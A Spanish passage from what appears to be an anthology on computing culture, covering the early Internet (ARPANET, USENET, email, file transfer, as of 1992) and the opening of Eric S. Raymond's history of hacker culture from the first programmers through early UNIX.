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su	propio	trozo	de	línea.
La	«anarquía»	de	Internet	puede	parecer	extraña	o	incluso	poco	natural,	pero	tiene

cierta	profundidad	y	sentido.	Es	como	la	«anarquía»	del	idioma	inglés.	Nadie	alquila
el	inglés	y	nadie	lo	posee.	Como	angloparlante,	depende	de	ti	aprender	hablar	inglés
correctamente	y	usarlo	para	 lo	que	quieras	 (aunque	el	gobierno	proporciona	 fondos
para	ayudarte	a	que	aprendas	a	leer	y	escribir	algo).	Aunque	mucha	gente	se	gana	la
vida	 usando,	 explotando	 y	 enseñando	 inglés,	 el	 «Inglés»	 como	 institución	 es	 una
propiedad	pública,	un	bien	común.	Mucho	de	eso	ocurre	con	Internet.	¿Mejoraría	el
inglés	si	«Idioma	Inglés	S.	A.»	tuviera	un	consejo	de	administración	con	su	director	o
ejecutivo	al	 frente,	un	presidente	y	una	asamblea?	Probablemente	existirían	muchas
menos	palabras	en	el	idioma	inglés,	y	muchas	menos	nuevas	ideas.

La	 gente	 en	 Internet	 siente	 que	 se	 trata	 de	 una	 institución	 que	 se	 resiste	 a	 la
institucionalización.	El	interés	pertenece	a	todos	y	a	nadie.

A	pesar	de	esto,	hay	quién	tiene	intereses	en	Internet.	Los	negociantes	quieren	que
Internet	 tenga	 una	 base	 financiera.	 Los	 gobernantes	 la	 quieren	 más	 regulada.	 Los
académicos	la	quieren	para	fines	de	investigación.	Los	militares	para	la	seguridad.	Y
así	muchos	más.

Todas	estas	fuentes	de	conflicto	permanecen	en	torpe	equilibrio,	e	Internet,	hasta
ahora,	 se	mantiene	 en	 próspera	 anarquía.	 Antes,	 las	 líneas	 de	 alta	 velocidad	 de	 la
NSFnet	eran	conocidas	como	la	«Espina	dorsal	de	Internet»	[Internet	Backbone],	y
sus	propietarios	podían	señorearse	con	el	resto	de	Internet;	pero	hoy	existen	«espinas
dorsales»	 en	 Canadá,	 Japón	 y	 Europa,	 e	 incluso	 algunas	 privadas	 para	 el	 tráfico
comercial.	 Hoy,	 incluso	 ordenadores	 domésticos	 privados	 pueden	 convertirse	 en
nodos	de	Internet.	Se	pueden	llevar	bajo	el	brazo.	Pronto,	quizás,	en	la	muñeca.

Pero,	 ¿qué	 es	 lo	 que	 uno	 hace	 con	 Internet?	 Básicamente,	 cuatro	 cosas:
correspondencia,	grupos	de	discusión,	computación	a	 larga	distancia	y	 transferencia
de	archivos.

El	correo	de	Internet	es	el	correo	electrónico	[e-mail],	mucho	más	rápido	que	el
correo	 postal	 norteamericano,	 que	 es	 llamado	 despectivamente	 por	 los	 usuarios	 de
Internet	 como	«correo	 caracol»	 [snail	mail].	El	 correo	 en	 Internet	 es	 algo	 como	el
fax.	Es	texto	electrónico,	y	no	tienes	que	pagar	por	él	(al	menos	directamente)	y	es	a
escala	 global.	 Por	 correo	 electrónico	 se	 puede	mandar	 software	 y	 algunos	 tipos	 de
imágenes	comprimidas.	Se	está	trabajando	en	nuevas	formas	de	correo	electrónico.

Los	grupos	de	discusión,	o	«newsgroups»,	son	un	mundo	aparte.	Este	mundo	de
debate	 y	 argumentaciones	 se	 conoce	 como	 «USENET».	 USENET	 es	 de	 hecho
diferente	a	Internet.	USENET	es	como	una	multitud	ondulante	de	gente	chismosa	y
con	ganas	de	información	que	se	mueve	por	Internet	en	busca	de	barbacoas	de	patio
trasero.	USENET	no	es	tanto	una	red	física	como	un	conjunto	de	convenciones.	En
cualquier	caso,	ahora	existen	2500	grupos	de	discusión	separados	en	USENET	y	sus
mensajes	generan	unos	7	millones	de	palabras	al	día.	Naturalmente	se	habla	mucho
sobre	ordenadores	en	USENET,	pero	la	variedad	de	temas	sobre	los	que	se	habla	es
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enorme,	 creciendo	 estos	 continuamente.	 En	 USENET	 se	 distribuyen	 varias
publicaciones	electrónicas	gratuitas	de	manera	periódica.

Estos	 grupos	y	 el	 correo	 electrónico	 están	disponibles	 fácilmente,	 incluso	 fuera
del	 corazón	de	 Internet.	Se	puede	acceder	 a	 ellos	 a	 través	de	 las	 líneas	de	 teléfono
normales,	desde	otras	redes	como	BITnet,	UUCP	y	Fidonet.	Los	últimos	servicios	de
Internet,	 computación	 a	 larga	 distancia	 y	 transferencia	 de	 archivos,	 requieren	 de
conexión	directa	usando	TCP/IP.

La	computación	a	larga	distancia	fue	algo	pensado	para	ARPANET	y	aún	se	usa
mucho,	 al	 menos	 por	 algunos.	 Los	 programadores	 pueden	 mantener	 sus	 cuentas
abiertas	 en	 poderosos	 superordenadores	 y	 ejecutar	 allí	 sus	 programas	 o	 crear	 otros
nuevos.	 Los	 científicos	 pueden	 usar	 potentes	 ordenadores	 desde	 otros	 continentes.
Las	 bibliotecas	 ofrecen	 sus	 catálogos	 electrónicos	 para	 que	 se	 busque	 en	 ellos
gratuitamente.	 Enormes	 catálogos	 en	 CD-ROM	 están	 disponibles	 a	 través	 de	 este
servicio.	Y	existe	mucho	software	gratuito	al	mismo	tiempo.

La	transferencia	de	ficheros	permite	a	los	usuarios	acceder	a	máquinas	remotas	y
tomar	de	ellas	programas	o	textos.	Muchos	ordenadores	de	Internet	—unos	dos	mil	o
más—	 permiten	 que	 se	 acceda	 a	 ellos	 de	manera	 anónima	 y	 que	 la	 gente	 use	 sus
archivos	de	manera	gratuita.	Esto	no	es	algo	trivial,	ya	que	libros	enteros	se	pueden
transferir	en	cuestión	de	minutos.	Hoy,	en	1992,	existen	más	de	un	millón	de	ficheros
públicos	disponibles	a	quién	los	quiera	utilizar	(y	otros	millones	disponibles	a	gente
con	 autorización).	La	 transferencia	 de	 ficheros	 por	 Internet	 se	 está	 convirtiendo	 en
una	nueva	forma	de	publicación,	en	 la	que	el	 lector	copia	electrónicamente	el	 texto
que	 desee	 en	 la	 cantidad	 que	 quiera	 y	 de	 forma	 gratuita.	 Nuevos	 programas	 de
Internet,	 como	 «archie»,	 «gopher»	 y	 «WAIS»	 se	 han	 desarrollado	 para	 catalogar	 y
explorar	esa	cantidad	de	material.

Esta	 Internet	 sin	 cabeza,	 anárquica	 y	 con	 millones	 de	 tentáculos	 se	 está
extendiendo	como	el	pan	de	molde.	Cada	ordenador	con	la	potencia	suficiente	es	una
espora	 potencial	 de	 Internet	 y	 hoy	 los	 ordenadores	 se	 venden	 a	 menos	 de	 2000
dólares	y	están	disponibles	en	todo	el	mundo.	La	red	ARPA,	diseñada	para	asegurar
el	 control	 de	 una	 sociedad	 desolada	 después	 de	 un	 holocausto	 nuclear,	 ha	 sido
sobrepasada	por	su	hija	mutante,	Internet,	que	está	a	fuera	de	control	a	conciencia	y
se	expande	exponencialmente	por	la	aldea	global	de	la	post	guerra	fría.	La	expansión
de	 Internet	 en	 los	 ‘90	 se	 parece	 a	 la	 que	 sufrió	 la	 informática	 personal	 en	 los	 ‘70,
aunque	 es	 más	 rápida	 y	más	 importante.	Más	 importante,	 quizás,	 porque	 da	 a	 los
ordenadores	 personales	 una	 imagen	 de	 algo	 barato,	 de	 fácil	 acceso	 y	 con
posibilidades	de	almacenaje	a	una	escala	realmente	planetaria.

El	 futuro	 de	 Internet	 pasa	 por	 ser	 más	 grande	 y	 con	 velocidades
exponencialmente	mayores.	La	comercialización	de	Internet	es	un	tema	candente	hoy
día,	donde	se	promete	cualquier	 tipo	de	comercialización	salvaje	de	la	 información.
El	gobierno	federal,	agradecido	por	este	éxito	inesperado,	aún	tiene	mucho	que	decir
en	 esto.	 La	NREN,	National	Research	 and	Educational	Network	 [Red	Nacional	 de
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Educación	e	 Investigación],	 fue	aprobada	en	el	otoño	de	1991	como	un	proyecto	a
cinco	 años	 y	 con	 un	 presupuesto	 de	 dos	 mil	 millones	 de	 dólares	 para	 que	 la	 red
troncal	de	Internet	fuera	actualizada.	NREN	será	unas	50	veces	más	rápida	que	la	red
más	rápida	de	hoy	día	permitiendo	la	transferencia	de	la	Enciclopedia	Británica	en	un
segundo.	Las	 redes	de	ordenadores	permitirán	gráficos	animados	en	3D,	enlaces	de
radio	 y	 teléfonos	 móviles	 a	 ordenadores	 portátiles,	 fax,	 voz	 y	 televisión	 de	 alta
definición.	¡Un	circo	global	multimedia!

O	 al	 menos	 así	 se	 espera	 —y	 se	 planea—.	 La	 Internet	 real	 del	 futuro	 debe
soportar	 pocos	 parecidos	 con	 los	 planes	 de	 hoy.	 Prever	 las	 cosas	 nunca	 ha	 tenido
mucho	 que	 ver	 con	 el	 rápido	 desarrollo	 de	 Internet.	 Después	 de	 todo,	 Internet	 se
parece	muy	poco	a	aquellos	sombríos	planes	del	RAND	para	el	post-holocausto.	Esto
resulta	una	sutil	y	feliz	ironía.

¿Cómo	se	accede	a	Internet?	Bien,	si	no	se	tiene	un	ordenador	con	módem,	hay
que	hacerse	de	uno.	El	ordenador	puede	actuar	como	una	 terminal	y	 se	puede	usar
una	línea	de	teléfonos	ordinaria	para	conectarse	a	una	máquina	enganchada	a	Internet.
Simplemente	esto	puede	hacer	que	se	tenga	acceso	a	los	grupos	de	discusión	y	a	una
dirección	de	correo	electrónico	propia.	Merece	 la	pena	 tener	estos	servicios	aunque
sólo	con	el	correo	y	las	noticias	no	se	está	del	todo	«en	Internet».

Si	 está	 usted	 en	un	 campus,	 la	 universidad	puede	que	 tenga	«acceso	directo»	 a
líneas	TCP/IP	de	Internet	de	alta	velocidad.	Hágase	con	una	cuenta	de	Internet	en	un
ordenador	del	campus	y	será	capaz	de	utilizar	los	servicios	de	computación	remota	y
la	transferencia	de	archivos.	Algunas	ciudades	como	Cleveland	proporcionan	acceso
gratuito	a	la	red.	Las	empresas	tienen	cada	vez	más	posibilidades	de	acceso	y	están
deseando	vender	esos	accesos	a	sus	clientes.	La	cuota	estándar	es	de	unos	40	dólares
al	mes	—más	o	menos	como	el	servicio	de	TV	por	cable.

Según	avancen	los	noventas,	encontrar	acceso	a	Internet	será	mucho	más	fácil	y
barato.	Su	facilidad	de	uso	también	mejorará	del	salvaje	Interfaz	UNIX	del	TCP/IP	a
otros	muchos	más	 intuitivos	 y	 cómodos	 para	 el	 usuario,	 eso	 es	 una	 buena	 noticia.
Aprender	 Internet	 ahora,	 o	 al	 menos	 aprender	 sobre	 Internet,	 es	 para	 entendidos.
Cuando	 cambiemos	 de	 siglo	 la	 «cultura	 de	 redes»,	 tal	 como	 la	 «cultura	 de	 los
ordenadores»	antes	de	ésta,	se	introducirá	forzosamente	en	el	ámbito	de	su	vida.
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Breve	historia	de	la	«cultura	hacker»[5]

Eric	S.	Raymond

ric	 S.	 Raymond	 nació	 en	 Boston,	 Estados	 Unidos,	 en	 1957.	 Hacker	 y	 entusiasta	 de	 la
ciencia	ficción,	participó	desde	los	 inicios,	a	principios	de	los	‘80,	del	proyecto	GNU	que

buscaba	crear	un	sistema	operativo	estilo	UNIX	pero	gratuito.	En	los	últimos	años	se	convirtió	en
divulgador	de	la	práctica	de	código	abierto,	a	través	de	textos	como	La	Catedral	y	el	Bazar	(1997)
y	 Cómo	 convertirse	 en	 hacker	 (2001).	 Sus	 opiniones	 conciliadoras	 con	 los	 intereses	 de	 las
empresas	informáticas	lo	llevaron	a	debatir	con	Richard	Stallman.

El	 siguiente	 es	 un	 ensayo	 de	 divulgación	 sobre	 la	 historia	 de	 la	 cultura	 hacker.	La	 primera
versión	data	de	1992,	pero	fue	modificada	sucesivas	veces	hasta	2000.

Prólogo:	Los	Programadores	Auténticos

En	el	principio	había	Programadores	Auténticos.
No	se	hacían	llamar	así.	Tampoco	«hackers»,	ni	de	otra	manera	en	particular:	el

apodo	 de	 «Programadores	 Auténticos»	 no	 se	 acuñó	 hasta	 1980.	 Pero	 de	 1945	 en
adelante	la	tecnología	de	la	computación	atrajo	a	muchas	de	las	mentes	más	brillantes
y	creativas	del	mundo.	Desde	la	ENIAC[6]	de	Eckert	y	Mauchly	existió	una	cultura
técnica	de	programadores	entusiastas	ininterrumpida	y	consciente	de	sí	misma,	gente
que	creaba	y	jugaba	con	el	software	para	divertirse.

Los	 «Programadores	Auténticos»	venían	 en	general	 de	 la	 física	 y	 la	 ingeniería.
Vestían	 medias	 blancas	 y	 chombas	 de	 poliéster,	 y	 corbatas	 y	 anteojos	 gruesos,	 y
escribían	programas	en	 lenguaje	de	máquina	y	assembler	y	FORTRAN	y	en	media
docena	de	lenguajes	hoy	olvidados.	Estos	fueron	los	precursores	de	la	cultura	hacker,
los	protagonistas	de	su	prehistoria	a	los	que	las	tradiciones	ya	no	recuerdan.

Desde	el	 fin	de	 la	Segunda	Guerra	Mundial	hasta	 comienzos	de	 los	 ‘70,	 en	 los
grandes	días	de	 la	computación	batch[7]	 y	de	 las	grandes	 centrales	«de	hierro»,	 los
Programadores	 Auténticos	 fueron	 la	 cultura	 técnica	 dominante	 de	 la	 computación.
Algunos	fragmentos	de	folclore	hacker	de	culto	provienen	de	esta	época,	incluyendo
la	conocida	historia	de	Mel	(incluida	en	la	Jargon	File[8]),	muchas	Leyes	de	Murphy
y	el	póster	de	«Blinkenlights»	de	parodia	nazi[9]	que	aún	hoy	decora	muchos	salones
de	computadoras.

Algunos	de	los	que	se	iniciaron	en	la	cultura	de	los	«Programadores	Auténticos»
siguieron	activos	en	los	‘90.	Se	dice	que	Seymour	Cray,	el	diseñador	de	 la	 línea	de
súpercomputadoras	Cray,	una	vez	puso	en	marcha	un	sistema	operativo	escrito	por	él
mismo	en	una	computadora	armada	por	él	mismo.	En	octal.	Sin	errores.	Y	funcionó.
Programador	Auténtico	de	Élite.
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A	otro	nivel,	Stan	Kelly-Bootle,	autor	de	The	Devil’s	DP	Dictionary	(New	York,
McGraw-Hill,	1981)	y	gran	folclorista,	programó	en	la	Manchester	Mark	I,	la	primera
computadora	 digital	 totalmente	 operativa	 y	 con	 un	 programa	 almacenado	 en	 la
memoria,	en	1948.	Hoy	escribe	columnas	humorísticas	sobre	tecnología	para	revistas
de	computación	que	suelen	adoptar	la	forma	de	conversaciones	intensas	y	sabias	con
la	cultura	hacker.

Otros,	como	David	E.	Lundstrom,	han	escrito	la	historia	de	esos	primeros	años	y
sus	anécdotas	(A	Few	Good	Men	From	UNIVAC.	Cambridge,	MIT	Press,	1987).

Lo	que	introdujo	la	cultura	de	los	«Programadores	Auténticos»	fue	el	despertar	de
la	computación	 interactiva,	 las	universidades	y	 las	 redes.	Estas	dieron	nacimiento	a
una	 ininterrumpida	 tradición	 de	 ingeniería	 y	 programas	 que,	 eventualmente,	 daría
lugar	a	la	actual	cultura	hacker	de	código	abierto.

Los	Primeros	Hackers

Los	inicios	de	la	cultura	hacker	como	la	conocemos	hoy	pueden	fijarse	en	1961,
el	año	en	que	el	MIT	[Instituto	de	Tecnología	de	Massachusetts]	adquirió	la	primera
PDP-1[10].	El	Club	de	Tecnología	de	renes	a	Escala	del	MIT	adoptó	la	máquina	como
su	juguete	favorito	e	inventó	herramientas	de	programación,	argot	y	toda	una	cultura
a	su	alrededor	que	todavía	sigue	entre	nosotros.	Estos	primeros	años	se	narran	en	la
primera	parte	del	libro	Hackers	de	Steven	Levy	(New	York,	Bantam	Books,	1984).

La	 cultura	 informática	 del	 MIT	 parece	 ser	 la	 primera	 en	 adoptar	 el	 término
hacker.	Los	hackers	del	Club	de	Modelos	de	Trenes	se	convirtieron	en	el	núcleo	del
Laboratorio	 de	 Inteligencia	 Artificial	 (IA)	 del	 MIT,	 el	 centro	 líder	 mundial	 en
investigaciones	sobre	IA	a	principios	de	los	‘80.	Su	influencia	se	extendió	sobre	todo
a	partir	de	1969,	el	primer	año	de	la	red	ARPA.

La	 red	 ARPA	 fue	 la	 primera	 red	 de	 computadoras	 transcontinental	 de	 alta
velocidad.	Fue	creada	por	el	Departamento	de	Defensa	como	un	experimento	sobre
comunicaciones	 digitales,	 pero	 fue	 creciendo	 hasta	 conectar	 a	 cientos	 de
universidades,	laboratorios	de	investigación	e	industrias	armamentísticas.	Permitió	a
los	 investigadores	 de	 todas	 partes	 intercambiar	 información	 a	 una	 velocidad	 y
flexibilidad	 sin	 precedentes,	 dándole	 un	 impulso	 enorme	 a	 los	 trabajos	 en
colaboración	 e	 incrementando	 tremendamente	 el	 ritmo	 y	 la	 intensidad	 del	 avance
tecnológico.

Pero	la	red	ARPA	también	hizo	otra	cosa.	Sus	autopistas	electrónicas	pusieron	en
contacto	a	hackers	de	todo	EE.	UU.	creando	una	masa	crítica;	en	lugar	de	permanecer
aislados	 en	pequeños	grupos,	 cada	uno	desarrollando	 sus	propias	 culturas	 locales	y
efímeras,	se	descubrieron	(o	se	reinventaron)	como	tribu	unida	en	red.

Los	primeros	artefactos	deliberados	de	 la	cultura	hacker	 las	primeras	antologías
de	argot,	las	primeras	sátiras,	las	primeras	discusiones	conscientes	sobre	ética	hacker
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se	propagaron	por	la	red	ARPA	en	los	primeros	años	(la	primera	versión	de	la	Jargon
File,	por	ejemplo,	data	de	1973).	La	cultura	hacker	fue	creciendo	en	las	universidades
conectadas	a	la	Red,	en	especial	(aunque	no	exclusivamente)	en	sus	departamentos	de
ciencia.

En	cuanto	a	 técnica,	el	 laboratorio	de	 Inteligencia	Artificial	del	MIT	estaba	por
encima	de	los	demás	a	fines	de	los	‘60.	Pero	el	Laboratorio	de	Inteligencia	Artificial
de	 la	Universidad	de	Stanford	(SAIL)	y	(luego)	 la	Universidad	de	Carnegie-Mellon
(CMU)	 devinieron	 casi	 igual	 de	 importantes.	 Todos	 eran	 centros	 florecientes	 de
ciencia	informática	e	investigación	de	IA.	Todos	atrajeron	a	brillantes	personas	que	le
aportaron	a	la	cultura	hacker	grandes	cosas,	en	ambos	niveles,	técnico	y	folclórico.

Pero	para	comprender	lo	que	vino	después	tenemos	que	echarles	otra	mirada	a	las
propias	 computadoras,	 porque	 el	 auge	 de	 los	 laboratorios	 y	 su	 eventual	 caída	 se
debieron	ambos	a	olas	de	cambios	en	la	tecnología	de	las	máquinas.

Desde	los	días	de	la	PDP-1	la	suerte	de	la	cultura	hacker	se	vio	unida	a	la	serie	de
minicomputadoras	 PDP	 de	 DEC	 (Corporación	 de	 Equipos	 Digitales).	 DEC	 era
pionera	 en	 computación	 comercial	 interactiva	 y	 sistemas	 operativos	 de	 recursos
compartidos.	Debido	 a	 que	 sus	máquinas	 eran	 flexibles,	 poderosas	 y	 relativamente
baratas	para	la	época,	muchas	universidades	las	compraban.

Los	recursos	compartidos	fueron	el	medio	en	el	que	floreció	la	cultura	hacker	y,
durante	 la	mayor	 parte	 de	 su	 existencia,	 la	 red	ARPA	 fue	 básicamente	 una	 red	 de
máquinas	DEC.	La	más	importante	de	éstas	fue	la	PDP-10,	de	1967.	Las	10	fueron
las	máquinas	favoritas	de	la	cultura	hacker	por	casi	quince	años;	TOPS-10	(el	sistema
operativo	 de	 DEC)	 y	 MACRO-10	 (su	 lenguaje	 de	 programación)	 se	 recuerdan
todavía	con	nostalgia;	los	dos	produjeron	abundante	argot	y	folklore.

El	 MIT,	 pese	 a	 usar	 las	 mismas	 PDP-10	 que	 los	 demás,	 tomó	 un	 camino
ligeramente	 distinto;	 descartaron	 todo	 el	 software	 de	 DEC	 para	 la	 PDP-10	 y	 se
dedicaron	a	diseñar	su	sistema	operativo	propio,	el	mítico	ITS.

ITS	quería	decir:	«Sistema	de	Recursos	Compartidos	No	Compatible»[11],	lo	que
da	una	idea	aproximada	de	su	actitud.	Lo	querían	hacer	a	su	manera.	Por	suerte	para
todos,	 la	 gente	 del	 MIT	 era	 inteligente	 además	 de	 arrogante.	 ITS,	 a	 pesar	 de	 ser
excéntrico	y	complicado,	y	de	estar,	a	veces,	cargado	de	errores,	aportaba	una	serie	de
innovaciones	 técnicas	 brillantes	 y	 seguramente	 mantiene	 todavía	 el	 récord	 para	 el
sistema	de	recursos	compartidos	vigente	por	mayor	tiempo.

ITS	estaba	escrito	en	assembler[12],	pero	muchos	proyectos	de	ITS	se	escribían	en
un	 lenguaje	 con	 elementos	 de	 Inteligencia	 Artificial	 llamado	 LISP.	 LISP	 era	 más
poderoso	y	flexible	que	los	demás	lenguajes	de	la	época;	de	hecho,	posee	un	diseño
superior	a	la	mayoría	de	los	lenguajes	de	la	actualidad,	después	de	veinticinco	años.
LISP	 les	 dio	 libertad	 a	 los	 hackers	 de	 ITS	 para	 pensar	 de	 maneras	 creativas	 e
inusuales.	Fue	un	factor	importante	en	sus	éxitos,	y	sigue	siendo	un	lenguaje	favorito
de	la	cultura	hacker.

Muchas	 creaciones	 técnicas	 de	 la	 cultura	 de	 ITS	hoy	 siguen	vivas;	 el	 editor	 de
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programas	Emacs[13]	quizás	sea	la	más	conocida.	Y	mucho	del	folklore	de	ITS	sigue
«vivo»	para	los	hackers,	como	se	puede	ver	en	la	Jargon	File.

SAIL	 (Stanford)	 y	 CMU	 (Carnegie-Mellon)	 no	 se	 quedaron	 quietas,	 tampoco.
Muchos	 cuadros	 hackers	 que	 se	 formaron	 en	 torno	 a	 las	 PDP-10	 de	 SAIL	 se
convirtieron	después	en	figuras	clave	del	desarrollo	de	las	computadoras	personales	y
las	 interfaces	 actuales	 tipo	 ventana/ícono/mouse.	 Y	 los	 hackers	 de	 CMU	 hacían
experimentos	que	conducirían	a	las	primeras	aplicaciones	prácticas	a	gran	escala	de
sistemas	expertos	y	robótica	industrial.

Otra	 zona	 importante	 de	 la	 cultura	 era	 Xerox	 PARC,	 el	 famoso	 Centro	 de
Investigaciones	 de	 Palo	Alto.	 Por	más	 de	 una	 década,	 desde	 principios	 de	 los	 ‘70
hasta	mediados	de	los	‘80,	PARC	entregó	un	volumen	sorprendente	de	innovaciones
revolucionarias	 de	 hardware	 y	 software.	 El	 estilo	 moderno	 de	 las	 interfaces	 con
mouse,	 ventanas	 e	 íconos	 se	 inventó	 allí.	 También	 las	 impresoras	 láser	 y	 las	 redes
locales;	la	serie	de	computadoras	D	de	PARC	se	anticipó	una	década	a	las	poderosas
computadoras	 personales	 de	 los	 ‘80.	 Lamentablemente,	 estos	 profetas	 no	 eran
escuchados	 en	 su	 propia	 compañía;	 tanto	 es	 así	 que	 se	 volvió	 un	 chiste	 repetido
describir	a	PARC	como	un	lugar	dedicado	a	desarrollar	ideas	brillantes	para	que	las
usaran	otros.	Su	influencia	en	la	cultura	hacker	fue	amplia.

Las	culturas	de	la	red	ARPA	y	PDP-10	aumentaron	su	vigor	y	variedad	a	lo	largo
de	 los	 ‘70.	 Los	 sistemas	 de	 listas	 de	 correo	 electrónico	 que	 se	 habían	 usado	 para
nutrir	la	cooperación	entre	grupos	de	interés	dispersos	por	los	continentes,	se	usaban
cada	vez	más	con	propósitos	sociales	y	recreativos.	En	ARPA	se	hizo	la	«vista	gorda»
a	 toda	 actividad	 técnica	 «no	 autorizada»	 —la	 sobrecarga	 de	 datos	 era	 un	 precio
menor	 a	 cambio	 de	 atraer	 al	 campo	de	 la	 informática	 a	 una	 generación	 de	 jóvenes
brillantes.

De	las	listas	de	mails	«sociales»	de	la	red	ARPA,	la	más	popular	debía	ser	la	SF-
LOVERS	(Amantes	de	la	Ciencia	Ficción);	de	hecho,	sigue	funcionando	hoy	dentro
de	la	red	más	extensa	llamada	«Internet»,	la	cual	absorbió	a	la	red	ARPA.	Pero	había
muchas	 otras,	 que	 inauguraban	 un	 estilo	 de	 comunicación	 que	 más	 tarde	 sería
explotado	comercialmente	por	servicios	de	recursos	compartidos	como	Compuserve,
GEnie	y	Prodigy.

El	surgimiento	de	UNIX

Mientras	tanto,	sin	embargo,	en	un	salvaje	lugar	de	Nueva	Jersey	otra	cosa	había
estado	sucediendo	desde	1969	que	eventualmente	opacaría	la	tradición	de	la	PDP-10.
El	año	del	nacimiento	de	 la	 red	ARPA	fue	 también	el	año	en	que	un	hacker	de	 los
laboratorios	Labs	llamado	Ken	Thompson	inventó	el	sistema	operativo	UNIX.

Thompson	había	estado	involucrado	en	el	desarrollo	de	un	sistema	operativo	de
recursos	compartidos	llamado	Multics,	que	tenía	orígenes	comunes	con	ITS.	Multics
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fue	 un	 espécimen	 de	 prueba	 para	 algunas	 ideas	 sobre	 cómo	 la	 complejidad	 de	 un
sistema	 operativo	 se	 podría	 ocultar	 en	 su	 interior,	 imperceptible	 para	 el	 usuario	 e
incluso	 para	 la	mayoría	 de	 los	 programadores.	La	 idea	 era	 lograr	 que	 usar	Multics
desde	 afuera	 (¡y	 programar	 para	 él!)	 se	 tornara	 más	 sencillo,	 para	 que	 pudiera
realizarse	más	trabajo	concreto.

Bell	Labs	abandonó	el	proyecto	cuando	Multics	mostró	señales	de	estar	mutando
en	un	inservible	elefante	blanco	(el	sistema	fue	puesto	a	la	venta	luego	por	la	empresa
Honeywell	pero	nunca	tuvo	éxito).	Ken	Thompson	se	quedó	sin	el	entorno	Multics,	y
empezó	a	hacer	pruebas	 con	una	mezcla	de	 sus	 ideas	y	otras	propias	 en	una	DEC	
PDP-7	rescatada	de	la	basura.

Otro	hacker	llamado	Denis	Ritchie	inventó	una	nuevo	lenguaje	llamado	«C»	para
usar	bajo	el	UNIX	embrionario	de	Thompson.	Al	 igual	que	UNIX,	C	 fue	diseñado
para	 ser	 amable,	 ligero	 y	 flexible.	 En	 Bell	 Labs	 se	 despertó	 el	 interés	 por	 estas
herramientas,	y	recibieron	un	impulso	en	1971	cuando	Thompson	y	Ritchie	ganaron
una	convocatoria	para	producir	lo	que	hoy	llamaríamos	un	sistema	de	automatización
de	 oficina	 para	 uso	 interno.	 Pero	 Thompson	 y	 Ritchie	 tenían	 en	 mente	 algo	 más
grande.

Tradicionalmente,	 los	 sistemas	 operativos	 se	 escribían	 en	 lenguaje	 assembler
ajustado	para	extraer	la	eficiencia	más	alta	de	las	computadoras	que	los	albergaban.
Thompson	y	Ritchie	fueron	de	los	primeros	en	darse	cuenta	de	que	la	tecnología	de
hardware	 y	 de	 compiladores	 se	 había	 vuelto	 lo	 suficientemente	 buena	 para	 poder
escribir	 un	 sistema	 operativo	 enteramente	 en	 C,	 y	 para	 1974	 el	 sistema	 completo
había	sido	transportado	con	éxito	a	diversas	computadoras	de	diferentes	tipos.

Esto	no	se	había	hecho	nunca,	y	las	implicancias	fueron	enormes.	Si	Unix	podía
mostrar	 el	 mismo	 aspecto,	 las	 mismas	 características,	 en	 computadoras	 diferentes,
podía	 servir	 como	 entorno	 de	 software	 común	 para	 todas	 ellas.	 Los	 usuarios	 no
tendrían	que	pagar	nunca	más	por	el	diseño	del	software	cada	vez	que	cambiaban	de
computadora.	 Los	 hackers	 podrían	 llevar	 consigo	 sus	 herramientas	 entre	 diferentes
máquinas,	en	lugar	de	tener	que	reinventar	el	fuego	y	la	rueda	en	cada	ocasión.

Además	 de	 la	 portabilidad,	 Unix	 y	 C	 tenían	 otros	 aspectos	 ventajosos.	 Ambos
estaban	 diseñados	 según	 una	 filosofía	 de	 «¡Hazlo	 simple,	 estúpido!».	 Un
programador	podía	manejar	en	la	cabeza	toda	la	estructura	lógica	del	C	(a	diferencia
de	la	mayoría	de	los	lenguajes	anteriores)	en	vez	de	tener	que	consultar	los	manuales
todo	el	tiempo;	y	UNIX	se	estructuraba	como	un	kit	de	programas	simples	diseñados
para	combinarse	entre	sí	de	maneras	productivas.

Esta	 combinación	 mostró	 ser	 adaptable	 a	 una	 gama	 muy	 amplia	 de	 tareas
informáticas,	 incluyendo	 muchas	 totalmente	 imprevistas	 por	 sus	 diseñadores.	 Se
difundió	con	gran	rapidez	dentro	de	ATT,	pese	a	no	contar	con	ningún	apoyo	formal
de	la	empresa.	Para	1980	se	había	difundido	por	un	gran	número	de	universidades	y
sitios	de	investigación	informática,	y	miles	de	hackers	lo	consideraban	su	hogar.

Las	 locomotoras	 de	 la	 cultura	 UNIX	 inicial	 fueron	 las	 PDP-11	 y	 sus
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descendientes,	 las	 VAX.	 Pero	 debido	 a	 la	 portabilidad	 de	 UNIX,	 éste	 corría	 sin
modificaciones	 esenciales	 en	 una	 diversidad	 de	 computadoras	mayor	 de	 las	 que	 se
podía	encontrar	en	toda	la	red	ARPA.	Y	nadie	usaba	assembler;	los	programas	en	C
se	traspasaban	al	instante	entre	esas	computadoras.

Unix	tenía	incluso	su	propia	red,	de	tipo	UUCP	(Protocolo	de	Transferencia	Unix
a	 Unix):	 lenta	 e	 inestable,	 pero	 barata.	 Dos	 máquinas	 Unix	 podían	 intercambiar
correo	electrónico	punto-a-punto	por	la	línea	de	teléfono	común;	esta	opción	era	parte
del	sistema,	no	un	agregado	especial.	Los	sitios	Unix	comenzaron	a	formar	en	sí	una
nación	en	 red,	y	una	cultura	hacker	 la	acompañó.	En	1980,	aparece	el	primer	nodo
Usenet	que	pronto	se	extendería	hasta	superar	a	ARPA.

En	la	red	ARPA	había	pocos	sitios	Unix.	Las	culturas	de	las	PDP-10	de	ARPA	y
la	de	Unix	comenzaron	a	encontrarse	y	confluir	en	 los	bordes,	pero	no	combinaron
bien	al	principio.	Los	hackers	de	la	PDP-10	tendían	a	considerar	a	los	de	Unix	como
una	banda	de	aficionados,	que	usaba	herramientas	de	aspecto	tosco	y	primitivo	si	se
las	 comparaba	 con	 las	 barrocas	 y	 adorables	 complejidades	 de	 LISP	 e	 ITS.
«¡Cavernícolas!»	—les	decían.

Y	 además	 había	 una	 tercera	 corriente	 avanzando.	 La	 primera	 computadora
personal	 había	 salido	 al	mercado	 en	 1975.	Apple	 se	 fundó	 en	 1977,	 y	 en	 los	 años
siguientes	se	produjeron	avances	a	una	velocidad	casi	increíble.	La	potencialidad	de
las	microcomputadoras[14]	era	evidente,	y	atrajo	a	una	nueva	generación	de	jóvenes	y
brillantes	hackers.	Su	lenguaje	era	el	BASIC,	tan	primitivo	que	tanto	los	partisanos	de
la	PDP-10	como	los	aficionados	de	Unix	lo	despreciaban.

El	Fin	de	los	Viejos	Tiempos

Así	 estaban	 las	 cosas	 en	 1980:	 tres	 culturas,	 que	 se	 superponían	 en	 los	 bordes
